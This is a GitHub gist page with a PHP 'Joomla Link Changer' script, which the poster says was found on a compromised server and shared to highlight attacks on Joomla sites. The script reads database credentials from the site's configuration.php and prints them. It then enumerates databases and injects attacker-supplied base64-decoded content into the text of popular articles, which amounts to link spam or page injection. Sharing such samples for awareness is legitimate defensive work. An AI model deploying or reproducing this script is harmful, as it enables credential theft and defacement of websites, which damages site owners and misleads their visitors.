Skip to content

Instantly share code, notes, and snippets.

@pkdavies
Created April 5, 2013 12:19
Show Gist options
  • Save pkdavies/5318877 to your computer and use it in GitHub Desktop.
Save pkdavies/5318877 to your computer and use it in GitHub Desktop.
Joomla Link Changer - found on server and used in my own blog post to highlight common attack vectors used on Joomla sites
<?php
Error_Reporting(E_ERROR);
ini_set("max_execution_time", "555");
$gg=fopen('../configuration.php', 'r');
while($s=fgets($gg)){
if(strstr($s,'$user')){$str=explode("'",$s);$usr=$str[1];}
if(strstr($s,'$host ')){$str=explode("'",$s);$hst=$str[1];}
if(strstr($s,'$password ')){$str=explode("'",$s);$pass=$str[1];}
};fclose($gg);
echo "$usr-$pass-$hst";
$conn=mysql_connect($hst,$usr,$pass);
$bd_list=mysql_list_dbs($conn);
while($row=mysql_fetch_object($bd_list)) {
echo $row->Database."\n<br><br>";
$t_list=mysql_list_tables($row->Database);
for($i=0;$i<mysql_num_rows($t_list);$i++) {
$tb=mysql_tablename($t_list,$i);
if(preg_match("/[^_]*_content/si",$tb) && substr_count($tb, "_")<2) {
$res = mysql_query("SELECT * FROM $tb");
$kol=mysql_num_rows($res);
echo mysql_num_rows($res);
echo " - ".$tb."\n";
if($_POST['lnk'])
{
mysql_query("UPDATE $tb SET introtext=CONCAT(introtext,'".base64_decode($_POST['lnk'])."') WHERE hits>40 LIMIT 7".$maxi);
}
}}}
mysql_close($conn);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment